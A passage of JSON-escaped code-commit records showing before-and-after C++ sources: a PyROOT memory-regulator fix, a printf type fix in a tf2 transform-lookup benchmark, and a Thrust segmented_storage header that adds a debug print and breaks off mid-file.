The proxy deletion by Python will have no effect on C++, so all good\n MemoryRegulator::UnregisterPyObject(pyobj, pyclass);\n }\n }\n}\n<commit_msg>[Exp PyROOT][ROOT-9516] Do not delete proxied object if cppyy does it<commit_after>\n\/\/ Author: Enric Tejedor CERN 08\/2019\n\n\/*************************************************************************\n * Copyright (C) 1995-2019, Rene Brun and Fons Rademakers. *\n * All rights reserved. *\n * *\n * For the licensing terms see $ROOTSYS\/LICENSE. *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS. *\n *************************************************************************\/\n\n#include \"TMemoryRegulator.h\"\n\n#include \"ProxyWrappers.h\"\n#include \"CPPInstance.h\"\n#include \"CPPInstance.h\"\n\nusing namespace CPyCppyy;\n\nPyROOT::ObjectMap_t PyROOT::TMemoryRegulator::fObjectMap = PyROOT::ObjectMap_t();\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ \\brief Constructor. Registers the hooks to run on Cppyy's object\n\/\/\/ construction and destruction\nPyROOT::TMemoryRegulator::TMemoryRegulator()\n{\n MemoryRegulator::SetRegisterHook(PyROOT::TMemoryRegulator::RegisterHook);\n MemoryRegulator::SetUnregisterHook(PyROOT::TMemoryRegulator::UnregisterHook);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ \\brief Register a hook that Cppyy runs when constructing an object.\n\/\/\/ \\param[in] cppobj Address of the object.\n\/\/\/ \\param[in] klass Class id of the object.\n\/\/\/ \\return Pair of two booleans. First indicates success, second tells\n\/\/\/ Cppyy if we want to continue running RegisterPyObject\nstd::pair<bool, bool> PyROOT::TMemoryRegulator::RegisterHook(Cppyy::TCppObject_t cppobj, Cppyy::TCppType_t klass)\n{\n static Cppyy::TCppType_t tobjectTypeID = (Cppyy::TCppType_t)Cppyy::GetScope(\"TObject\");\n\n if (Cppyy::IsSubtype(klass, tobjectTypeID)) {\n ObjectMap_t::iterator ppo = fObjectMap.find(cppobj);\n if (ppo == fObjectMap.end()) {\n fObjectMap.insert({cppobj, klass});\n }\n }\n\n return {true, true};\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ \\brief Register a hook that Cppyy runs when deleting an object.\n\/\/\/ \\param[in] cppobj Address of the object.\n\/\/\/ \\param[in] klass Class id of the object.\n\/\/\/ \\return Pair of two booleans. First indicates success, second tells\n\/\/\/ Cppyy if we want to continue running UnRegisterPyObject\nstd::pair<bool, bool> PyROOT::TMemoryRegulator::UnregisterHook(Cppyy::TCppObject_t cppobj, Cppyy::TCppType_t klass)\n{\n static Cppyy::TCppType_t tobjectTypeID = (Cppyy::TCppType_t)Cppyy::GetScope(\"TObject\");\n\n if (Cppyy::IsSubtype(klass, tobjectTypeID)) {\n ObjectMap_t::iterator ppo = fObjectMap.find(cppobj);\n if (ppo != fObjectMap.end()) {\n fObjectMap.erase(ppo);\n }\n }\n\n return {true, true};\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ \\brief Get the class id of the TObject being deleted and run Cppyy's\n\/\/\/ RecursiveRemove.\n\/\/\/ \\param[in] object Object being destructed.\nvoid PyROOT::TMemoryRegulator::RecursiveRemove(TObject *object)\n{\n auto cppobj = (Cppyy::TCppObject_t)object;\n Cppyy::TCppType_t klass = 0;\n\n ObjectMap_t::iterator ppo = fObjectMap.find(cppobj);\n if (ppo != fObjectMap.end()) {\n klass = ppo->second;\n MemoryRegulator::RecursiveRemove(cppobj, klass);\n fObjectMap.erase(ppo);\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ \\brief Clean up all tracked objects.\nvoid PyROOT::TMemoryRegulator::ClearProxiedObjects()\n{\n while (!fObjectMap.empty()) {\n auto elem = fObjectMap.begin();\n auto cppobj = elem->first;\n auto klassid = elem->second;\n auto pyclass = CreateScopeProxy(klassid);\n auto pyobj = (CPPInstance *)MemoryRegulator::RetrievePyObject(cppobj, pyclass);\n\n if (pyobj && (pyobj->fFlags & CPPInstance::kIsOwner)) {\n \/\/ Only delete the C++ object if the Python proxy owns it.\n \/\/ If it is a value, cppyy deletes it in RecursiveRemove as part of\n \/\/ the proxy cleanup.\n auto o = static_cast<TObject *>(cppobj);\n bool isValue = pyobj->fFlags & CPPInstance::kIsValue;\n RecursiveRemove(o);\n if (!isValue)\n delete o;\n }\n else {\n \/\/ Non-owning proxy, just unregister to clean tables.\n \/\/ The proxy deletion by Python will have no effect on C++, so all good\n MemoryRegulator::UnregisterPyObject(pyobj, pyclass);\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2010, Willow Garage, Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n * * Neither the name of the Willow Garage, Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <stdio.h>\n\n#include <tf2\/buffer_core.h>\n#include \"tf2\/time.h\"\n#include <boost\/lexical_cast.hpp>\n#include <chrono>\n\nusing std::chrono::system_clock;\nusing std::chrono::steady_clock;\nusing std::chrono::high_resolution_clock;\n\nint main(int argc, char** argv)\n{\n uint32_t num_levels = 10;\n \/\/ if (argc > 1)\n \/\/ {\n \/\/ num_levels = boost::lexical_cast<uint32_t>(argv[1]);\n \/\/ }\n\n tf2::BufferCore bc;\n geometry_msgs::TransformStamped t;\n t.header.stamp = 1;\n t.header.frame_id = \"root\";\n t.child_frame_id = \"0\";\n t.transform.translation.x = 1;\n t.transform.rotation.w = 1.0;\n bc.setTransform(t, \"me\");\n t.header.stamp = 2;\n bc.setTransform(t, \"me\");\n\n for (uint32_t i = 1; i < num_levels\/2; ++i)\n {\n for (uint32_t j = 1; j < 3; ++j)\n {\n std::stringstream parent_ss;\n parent_ss << (i - 1);\n std::stringstream child_ss;\n child_ss << i;\n\n t.header.stamp = tf2::Time(j);\n t.header.frame_id = parent_ss.str();\n t.child_frame_id = child_ss.str();\n bc.setTransform(t, \"me\");\n }\n }\n\n t.header.frame_id = \"root\";\n std::stringstream ss;\n ss << num_levels\/2;\n t.header.stamp = 1; \n t.child_frame_id = ss.str();\n bc.setTransform(t, \"me\");\n t.header.stamp = 2;\n bc.setTransform(t, \"me\");\n\n for (uint32_t i = num_levels\/2 + 1; i < num_levels; ++i)\n {\n for (uint32_t j = 1; j < 3; ++j)\n {\n std::stringstream parent_ss;\n parent_ss << (i - 1);\n std::stringstream child_ss;\n child_ss << i;\n\n t.header.stamp = tf2::Time(j);\n t.header.frame_id = parent_ss.str();\n t.child_frame_id = child_ss.str();\n bc.setTransform(t, \"me\");\n }\n }\n\n \/\/logInfo_STREAM(bc.allFramesAsYAML());\n\n std::string v_frame0 = boost::lexical_cast<std::string>(num_levels - 1);\n std::string v_frame1 = boost::lexical_cast<std::string>(num_levels\/2 - 1);\n printf(\"%s to %s\\n\", v_frame0.c_str(), v_frame1.c_str());\n geometry_msgs::TransformStamped out_t;\n\n const uint32_t count = 1000000;\n printf(\"Doing %d %d-level tests\\n\", count, num_levels);\n\n#if 01\n {\n steady_clock::time_point start = steady_clock::now();\n for (uint32_t i = 0; i < count; ++i)\n {\n out_t = bc.lookupTransform(v_frame1, v_frame0, 0);\n }\n steady_clock::time_point end = steady_clock::now();\n double dur = std::chrono::duration_cast<std::chrono::duration<double>>(end - start).count();\n printf(\"lookupTransform at Time(0) took: %f (secs) for an average of: %.9f (secs)\\n\", dur, dur \/ (double)count);\n }\n#endif\n\n#if 01\n {\n steady_clock::time_point start = steady_clock::now();\n for (uint32_t i = 0; i < count; ++i)\n {\n out_t = bc.lookupTransform(v_frame1, v_frame0, tf2::Time(1));\n }\n steady_clock::time_point end = steady_clock::now();\n double dur = std::chrono::duration_cast<std::chrono::duration<double>>(end - start).count();\n printf(\"lookupTransform at Time(1) took: %f for an average of: %.9f\\n\", dur, dur \/ (double)count);\n }\n#endif\n\n#if 01\n {\n steady_clock::time_point start = steady_clock::now();\n for (uint32_t i = 0; i < count; ++i)\n {\n out_t = bc.lookupTransform(v_frame1, v_frame0, tf2::Time(1.5));\n }\n steady_clock::time_point end = steady_clock::now();\n double dur = std::chrono::duration_cast<std::chrono::duration<double>>(end - start).count();\n printf(\"lookupTransform at Time(1.5) took %f for an average of %.9f\\n\", dur, dur \/ (double)count);\n }\n#endif\n\n#if 01\n {\n steady_clock::time_point start = steady_clock::now();\n for (uint32_t i = 0; i < count; ++i)\n {\n out_t = bc.lookupTransform(v_frame1, v_frame0, tf2::Time(2));\n }\n steady_clock::time_point end = steady_clock::now();\n double dur = std::chrono::duration_cast<std::chrono::duration<double>>(end - start).count();\n printf(\"lookupTransform at Time(2) took %f for an average of %.9f\\n\", dur, dur \/ (double)count);\n }\n#endif\n\n#if 01\n {\n steady_clock::time_point start = steady_clock::now();\n for (uint32_t i = 0; i < count; ++i)\n {\n bc.canTransform(v_frame1, v_frame0, tf2::Time(0));\n }\n steady_clock::time_point end = steady_clock::now();\n double dur = std::chrono::duration_cast<std::chrono::duration<double>>(end - start).count();\n printf(\"canTransform at Time(0) took %f for an average of %.9f\\n\", dur, dur \/ (double)count);\n }\n#endif\n\n#if 01\n {\n steady_clock::time_point start = steady_clock::now();\n for (uint32_t i = 0; i < count; ++i)\n {\n bc.canTransform(v_frame1, v_frame0, tf2::Time(1));\n }\n steady_clock::time_point end = steady_clock::now();\n double dur = std::chrono::duration_cast<std::chrono::duration<double>>(end - start).count();\n printf(\"canTransform at Time(1) took %f for an average of %.9f\\n\", dur, dur \/ (double)count);\n }\n#endif\n\n#if 01\n {\n steady_clock::time_point start = steady_clock::now();\n for (uint32_t i = 0; i < count; ++i)\n {\n bc.canTransform(v_frame1, v_frame0, tf2::Time(1.5 * 1e9));\n }\n steady_clock::time_point end = steady_clock::now();\n double dur = std::chrono::duration_cast<std::chrono::duration<double>>(end - start).count();\n printf(\"canTransform at Time(1.5) took %f for an average of %.9f\\n\", dur, dur \/ (double)count);\n }\n#endif\n\n#if 01\n {\n steady_clock::time_point start = steady_clock::now();\n for (uint32_t i = 0; i < count; ++i)\n {\n bc.canTransform(v_frame1, v_frame0, tf2::Time(2));\n }\n steady_clock::time_point end = steady_clock::now();\n double dur = std::chrono::duration_cast<std::chrono::duration<double>>(end - start).count();\n printf(\"canTransform at Time(2) took %f for an average of %.9f\\n\", dur, dur \/ (double)count);\n }\n#endif\n}\n<commit_msg>third_party: fix tf2 invalid printf arg type<commit_after>\/*\n * Copyright (c) 2010, Willow Garage, Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n * * Neither the name of the Willow Garage, Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <stdio.h>\n\n#include <tf2\/buffer_core.h>\n#include \"tf2\/time.h\"\n#include <boost\/lexical_cast.hpp>\n#include <chrono>\n\nusing std::chrono::system_clock;\nusing std::chrono::steady_clock;\nusing std::chrono::high_resolution_clock;\n\nint main(int argc, char** argv)\n{\n int num_levels = 10;\n \/\/ if (argc > 1)\n \/\/ {\n \/\/ num_levels = boost::lexical_cast<uint32_t>(argv[1]);\n \/\/ }\n\n tf2::BufferCore bc;\n geometry_msgs::TransformStamped t;\n t.header.stamp = 1;\n t.header.frame_id = \"root\";\n t.child_frame_id = \"0\";\n t.transform.translation.x = 1;\n t.transform.rotation.w = 1.0;\n bc.setTransform(t, \"me\");\n t.header.stamp = 2;\n bc.setTransform(t, \"me\");\n\n for (uint32_t i = 1; i < num_levels\/2; ++i)\n {\n for (uint32_t j = 1; j < 3; ++j)\n {\n std::stringstream parent_ss;\n parent_ss << (i - 1);\n std::stringstream child_ss;\n child_ss << i;\n\n t.header.stamp = tf2::Time(j);\n t.header.frame_id = parent_ss.str();\n t.child_frame_id = child_ss.str();\n bc.setTransform(t, \"me\");\n }\n }\n\n t.header.frame_id = \"root\";\n std::stringstream ss;\n ss << num_levels\/2;\n t.header.stamp = 1; \n t.child_frame_id = ss.str();\n bc.setTransform(t, \"me\");\n t.header.stamp = 2;\n bc.setTransform(t, \"me\");\n\n for (uint32_t i = num_levels\/2 + 1; i < num_levels; ++i)\n {\n for (uint32_t j = 1; j < 3; ++j)\n {\n std::stringstream parent_ss;\n parent_ss << (i - 1);\n std::stringstream child_ss;\n child_ss << i;\n\n t.header.stamp = tf2::Time(j);\n t.header.frame_id = parent_ss.str();\n t.child_frame_id = child_ss.str();\n bc.setTransform(t, \"me\");\n }\n }\n\n \/\/logInfo_STREAM(bc.allFramesAsYAML());\n\n std::string v_frame0 = boost::lexical_cast<std::string>(num_levels - 1);\n std::string v_frame1 = boost::lexical_cast<std::string>(num_levels\/2 - 1);\n printf(\"%s to %s\\n\", v_frame0.c_str(), v_frame1.c_str());\n geometry_msgs::TransformStamped out_t;\n\n const int count = 1000000;\n printf(\"Doing %d %d-level tests\\n\", count, num_levels);\n\n#if 01\n {\n steady_clock::time_point start = steady_clock::now();\n for (uint32_t i = 0; i < count; ++i)\n {\n out_t = bc.lookupTransform(v_frame1, v_frame0, 0);\n }\n steady_clock::time_point end = steady_clock::now();\n double dur = std::chrono::duration_cast<std::chrono::duration<double>>(end - start).count();\n printf(\"lookupTransform at Time(0) took: %f (secs) for an average of: %.9f (secs)\\n\", dur, dur \/ (double)count);\n }\n#endif\n\n#if 01\n {\n steady_clock::time_point start = steady_clock::now();\n for (uint32_t i = 0; i < count; ++i)\n {\n out_t = bc.lookupTransform(v_frame1, v_frame0, tf2::Time(1));\n }\n steady_clock::time_point end = steady_clock::now();\n double dur = std::chrono::duration_cast<std::chrono::duration<double>>(end - start).count();\n printf(\"lookupTransform at Time(1) took: %f for an average of: %.9f\\n\", dur, dur \/ (double)count);\n }\n#endif\n\n#if 01\n {\n steady_clock::time_point start = steady_clock::now();\n for (uint32_t i = 0; i < count; ++i)\n {\n out_t = bc.lookupTransform(v_frame1, v_frame0, tf2::Time(1.5));\n }\n steady_clock::time_point end = steady_clock::now();\n double dur = std::chrono::duration_cast<std::chrono::duration<double>>(end - start).count();\n printf(\"lookupTransform at Time(1.5) took %f for an average of %.9f\\n\", dur, dur \/ (double)count);\n }\n#endif\n\n#if 01\n {\n steady_clock::time_point start = steady_clock::now();\n for (uint32_t i = 0; i < count; ++i)\n {\n out_t = bc.lookupTransform(v_frame1, v_frame0, tf2::Time(2));\n }\n steady_clock::time_point end = steady_clock::now();\n double dur = std::chrono::duration_cast<std::chrono::duration<double>>(end - start).count();\n printf(\"lookupTransform at Time(2) took %f for an average of %.9f\\n\", dur, dur \/ (double)count);\n }\n#endif\n\n#if 01\n {\n steady_clock::time_point start = steady_clock::now();\n for (uint32_t i = 0; i < count; ++i)\n {\n bc.canTransform(v_frame1, v_frame0, tf2::Time(0));\n }\n steady_clock::time_point end = steady_clock::now();\n double dur = std::chrono::duration_cast<std::chrono::duration<double>>(end - start).count();\n printf(\"canTransform at Time(0) took %f for an average of %.9f\\n\", dur, dur \/ (double)count);\n }\n#endif\n\n#if 01\n {\n steady_clock::time_point start = steady_clock::now();\n for (uint32_t i = 0; i < count; ++i)\n {\n bc.canTransform(v_frame1, v_frame0, tf2::Time(1));\n }\n steady_clock::time_point end = steady_clock::now();\n double dur = std::chrono::duration_cast<std::chrono::duration<double>>(end - start).count();\n printf(\"canTransform at Time(1) took %f for an average of %.9f\\n\", dur, dur \/ (double)count);\n }\n#endif\n\n#if 01\n {\n steady_clock::time_point start = steady_clock::now();\n for (uint32_t i = 0; i < count; ++i)\n {\n bc.canTransform(v_frame1, v_frame0, tf2::Time(1.5 * 1e9));\n }\n steady_clock::time_point end = steady_clock::now();\n double dur = std::chrono::duration_cast<std::chrono::duration<double>>(end - start).count();\n printf(\"canTransform at Time(1.5) took %f for an average of %.9f\\n\", dur, dur \/ (double)count);\n }\n#endif\n\n#if 01\n {\n steady_clock::time_point start = steady_clock::now();\n for (uint32_t i = 0; i < count; ++i)\n {\n bc.canTransform(v_frame1, v_frame0, tf2::Time(2));\n }\n steady_clock::time_point end = steady_clock::now();\n double dur = std::chrono::duration_cast<std::chrono::duration<double>>(end - start).count();\n printf(\"canTransform at Time(2) took %f for an average of %.9f\\n\", dur, dur \/ (double)count);\n }\n#endif\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2008-2010 NVIDIA Corporation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#pragma once\n\n#include <thrust\/detail\/segmented_storage.h>\n#include <thrust\/for_each.h>\n#include <thrust\/reduce.h>\n#include <functional>\n\nnamespace thrust\n{\n\nnamespace detail\n{\n\n\ntemplate<typename T, typename Allocator>\n segmented_storage<T,Allocator>\n ::segmented_storage(void)\n :m_storage(choose_number_of_segments())\n{\n ;\n} \/\/ end segmented_storage::segmented_storage()\n\n\ntemplate<typename T, typename Allocator>\n segmented_storage<T,Allocator>\n ::segmented_storage(size_type n)\n :m_storage(choose_number_of_segments())\n{\n allocate(n);\n} \/\/ end segmented_storage::segmented_storage()\n\n\ntemplate<typename T, typename Allocator>\n segmented_storage<T,Allocator>\n ::~segmented_storage(void)\n{\n deallocate();\n} \/\/ end segmented_storage::~segmented_storage()\n\n\ntemplate<typename T, typename Allocator>\n typename segmented_storage<T,Allocator>::size_type\n segmented_storage<T,Allocator>\n ::size(void) const\n{\n \/\/ return the sum of the sizes of the individual storages\n return thrust::reduce(m_storage.begin(), m_storage.end(), std::mem_fun_ref(&storage_type::size));\n} \/\/ end segmented_storage::size()\n\ntemplate<typename T, typename Allocator>\n typename segmented_storage<T,Allocator>::size_type\n segmented_storage<T,Allocator>\n ::max_size(void) const\n{\n \/\/ return the sum of the max_sizes of the individual storages\n return thrust::reduce(m_storage.begin(), m_storage.end(), std::mem_fun_ref(&storage_type::max_size));\n} \/\/ end segmented_storage::max_size()\n\n\ntemplate<typename T, typename Allocator>\n typename segmented_storage<T,Allocator>::iterator\n segmented_storage<T,Allocator>\n ::begin(void)\n{\n return thrust::detail::make_segmented_iterator(m_storage.begin(), m_storage.end());\n} \/\/ end segmented_storage::begin()\n\n\ntemplate<typename T, typename Allocator>\n typename segmented_storage<T,Allocator>::const_iterator\n segmented_storage<T,Allocator>\n ::begin(void) const\n{\n return thrust::detail::make_segmented_iterator(m_storage.begin(), m_storage.end());\n} \/\/ end segmented_storage::begin()\n\n\ntemplate<typename T, typename Allocator>\n typename segmented_storage<T,Allocator>::iterator\n segmented_storage<T,Allocator>\n ::end(void)\n{\n return thrust::detail::make_segmented_iterator(m_storage.end(), m_storage.end());\n} \/\/ end segmented_storage::end()\n\n\ntemplate<typename T, typename Allocator>\n typename segmented_storage<T,Allocator>::const_iterator\n segmented_storage<T,Allocator>\n ::end(void) const\n{\n return thrust::detail::make_segmented_iterator(m_storage.end(), m_storage.end());\n} \/\/ end segmented_storage::end()\n\n\ntemplate<typename T, typename Allocator>\n typename segmented_storage<T,Allocator>::allocator_type\n segmented_storage<T,Allocator>\n ::get_allocator(void) const\n{\n \/\/ return the first storage's allocator i guess\n return m_storage[0].get_allocator();\n} \/\/ end segmented_storage::get_allocator()\n\n\ntemplate<typename T, typename Allocator>\n void segmented_storage<T,Allocator>\n ::allocate(size_type n)\n{\n const size_type m = m_storage.size();\n\n \/\/ break up n into m chunks of n\/m (except possibly the last one)\n \/\/ if n is small, just give it all to the first segment\n const size_type size_per_segment = (n > m) ? (n \/ m) : n;\n\n \/\/ if there are leftovers, give them to the first segment\n size_type num_leftover = 0;\n if(n > m * size_per_segment)\n {\n num_leftover = n - (m * size_per_segment);\n }\n\n \/\/ XXX might want to parallelize this with for_each\n size_type i = 0;\n while(n > 0)\n {\n \/\/ XXX don't use thrust::min here to avoid bringing in all of extrema.h\n const size_type size_to_allocate = ((size_per_segment < n) ? size_per_segment : n) + num_leftover;\n\n m_storage[i].allocate(size_to_allocate);\n\n n -= size_to_allocate;\n ++i;\n num_leftover = 0;\n } \/\/ end while\n} \/\/ segmented_storage::allocate()\n\n\ntemplate<typename T, typename Allocator>\n void segmented_storage<T,Allocator>\n ::deallocate(void)\n{\n thrust::for_each(m_storage.begin(), m_storage.end(), std::mem_fun_ref(&storage_type::deallocate));\n} \/\/ end segmented_storage::deallocate();\n\n\ntemplate<typename T, typename Allocator>\n void segmented_storage<T,Allocator>\n ::swap(segmented_storage &x)\n{\n thrust::swap(m_storage, x.m_storage);\n} \/\/ end segmented_storage::swap()\n\n\ntemplate<typename T, typename Allocator>\n typename segmented_storage<T,Allocator>::size_type\n segmented_storage<T,Allocator>\n ::choose_number_of_segments(void)\n{\n return 2;\n} \/\/ end segmented_storage::choose_number_of_segments()\n\n\n} \/\/ end detail\n\n} \/\/ end thrust\n\n<commit_msg>backout<commit_after>\/*\n * Copyright 2008-2010 NVIDIA Corporation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#pragma once\n\n#include <thrust\/detail\/segmented_storage.h>\n#include <thrust\/for_each.h>\n#include <thrust\/reduce.h>\n#include <functional>\n\nnamespace thrust\n{\n\nnamespace detail\n{\n\n\ntemplate<typename T, typename Allocator>\n segmented_storage<T,Allocator>\n ::segmented_storage(void)\n :m_storage(choose_number_of_segments())\n{\n ;\n} \/\/ end segmented_storage::segmented_storage()\n\n\ntemplate<typename T, typename Allocator>\n segmented_storage<T,Allocator>\n ::segmented_storage(size_type n)\n :m_storage(choose_number_of_segments())\n{\n std::cout << \"Allocator: \" << typeid(Allocator).name() << std::endl;\n allocate(n);\n} \/\/ end segmented_storage::segmented_storage()\n\n\ntemplate<typename T, typename Allocator>\n segmented_storage<T,Allocator>\n ::~segmented_storage(void)\n{\n deallocate();\n} \/\/ end segmented_storage::~segmented_storage()\n\n\ntemplate<typename T, typename Allocator>\n typename segmented_storage<T,Allocator>::size_type\n segmented_storage<T,Allocator>\n ::size(void) const\n{\n \/\/ return the sum of the sizes of the individual storages\n return thrust::reduce(m_storage.begin(), m_storage.end(), std::mem_fun_ref(&storage_type::size));\n} \/\/ end segmented_storage::size()\n\ntemplate<typename T, typename Allocator>\n typename segmented_storage<T,Allocator>::size_type\n segmented_storage<T,Allocator>\n ::max_size(void) const\n{\n \/\/ return the sum of the max_sizes of the individual storages\n return thrust::reduce(m_storage.begin(), m_storage.end(), std::mem_fun_ref(&storage_type::max_size));\n} \/\/ end segmented_storage::max_size()\n\n\ntemplate<typename T, typename Allocator>\n typename segmented_storage<T,Allocator>::iterator\n segmented_storage<T,Allocator>\n ::begin(void)\n{\n return thrust::detail::make_segmented_iterator(m_storage.begin(), m_storage.end());\n} \/\/ end segmented_storage::begin()\n\n\ntemplate<typename T, typename Allocator>\n typename segmented_storage<T,Allocator>::const_iterator\n segmented_storage<T,Allocator>\n ::begin(void) const\n{\n return thrust::detail::make_segmented_iterator(m_storage.begin(), m_storage.end());\n} \/\/ end segmented_storage::begin()\n\n\ntemplate<typename T, typename Allocator>\n typename segmented_storage<T,Allocator>::iterator\n segmented_storage<T,Allocator>\n ::end(void)\n{\n return thrust::detail::make_segmented_iterator(m_storage.end(), m_storage.end());\n} \/\/ end segmented_storage::end()\n\n\ntemplate<typename T, typename Allocator>\n typename segmented_storage<T,Allocator>::const_iterator\n segmented_storage<T,Allocator>\n ::end(void) const\n{\n return thrust::detail::make_segmented_iterator(m_storage.end(), m_storage.end());\n} \/\/ end segmented_storage::end()\n\n\ntemplate<typename T, typename Allocator>\n typename segmented_storage<T,Allocator>::allocator_type\n segmented_storage<T,Allocator>\n ::get_allocator(void) const\n{\n \/\/ return the first storage's allocator i guess\n return m_storage[0].get_allocator();\n} \/\/ end segmented_storage::get_allocator()\n\n\ntemplate<typename T, typename Allocator>\n void segmented_storage<T,Allocator>\n ::allocate(size_type n)\n{\n const size_type m = m_storage.size();\n\n \/\/ break up n into m chunks of n\/m (except possibly the last one)\n \/\/ if n is small, just give it all to the first segment\n const size_type size_per_segment = (n > m) ? (n \/ m) : n;\n\n \/\/ if there are leftovers, give them to the first segment\n size_type num_leftover = 0;\n if(n > m * size_per_segment)\n {\n num_leftover = n - (m * size_per_segment);\n }\n\n \/\/ XXX might want to parallelize this with for_each\n size_type i = 0;\n while(n > 0)\n {\n \/\/ XXX don't use thrust::min here to avoid bringing in all of extrema.h\n const size_type size_to_allocate = ((size_per_segment < n) ? size_per_segment : n) + num_leftover;\n\n m_storage[i].allocate(size_to_allocate);\n\n n -= size_to_allocate;\n ++i;\n num_leftover = 0;\n } \/\/ end while\n} \/\/ segmented_storage::allocate()\n\n\ntemplate<typename T, typename Allocator>\n void segmented_storage<T,Allocator>\n ::deallocate(void)\n{\n thrust::for_each(m_storage.begin(), m_storage.end(), std::mem_fun_ref(&storage_type::deallocate));\n} \/\/ end segmented_storage::deallocate();\n\n\ntemplate<typename T, typename Allocator>\n void segmented_storage<T,Allocator>\n ::swap(segmented_storage &x)\n{\n thrust::swap(m_storage, x.m_storage);\n} \/\/ end segmented_storage::swap()\n\n\ntemplate<typename T, typename Allocator>\n typename segmented_storage<T,Allocator>::size_type\n segmented_storage<T,Allocator>\n 